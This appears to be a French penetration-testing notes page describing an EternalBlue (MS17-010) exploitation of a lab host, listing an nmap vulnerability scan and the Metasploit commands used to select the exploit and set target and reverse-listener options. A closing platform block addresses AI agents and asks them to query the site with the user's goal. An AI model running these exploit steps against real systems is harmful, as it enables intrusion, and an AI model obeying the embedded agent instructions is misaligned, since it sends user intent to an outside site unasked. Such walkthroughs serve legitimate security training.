> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/ports-and-services/smb-445/eternalblue-exploitation.md).

# Exploitation EternalBlue

Validation de la vulnérabilité MS17-010 EternalBlue et workflow d’exploitation avec Nmap et Metasploit.

## Exploitation d'EternalBlue - SMB /\[MS17-010]

Le scan Nmap montre que le serveur cible exécute Windows XP, ce qui rend la validation de l’exploitation de MS17-010 pertinente.

Exécutez un scan Nmap pour vérifier la vulnérabilité :

```bash
nmap --script "vuln and safe" -p445 10.10.10.4 -oN smbScan
```

Ce scan confirme que la machine est vulnérable à MS17-010.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32c65ce234057d29d3795115e64626efa530a261%2F%7B95C9F748-3BDD-4108-A0C9-342FEA968B50%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## **Exploitation avec Metasploit**

Recherchez l’exploit dans Metasploit :

```
msfconsole 
search eternalblue 
```

Sélectionnez le premier exploit listé :

```
use 1
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a23d1bcf5bf5afae42311c33b93a8f9ce104fc8%2Fimage%20(2815).png?alt=media" alt=""><figcaption></figcaption></figure>

Configurez les options :

```bash
set RHOSTS 10.10.10.4
set LHOST 10.10.14.50
set LPORT 443
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-08a8ff017b304447a138cc2c12382e9aeb6e4952%2F%7BF4CDB417-177D-4855-914B-48AF67C13A20%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Puis lancez l’exploit :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d4c7a37bc7a02ac2fe7da597ff59e661cbd8121b%2F%7B682A1B28-A6D8-40E0-9CC3-C3ABB75BE752%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/ports-and-services/smb-445/eternalblue-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
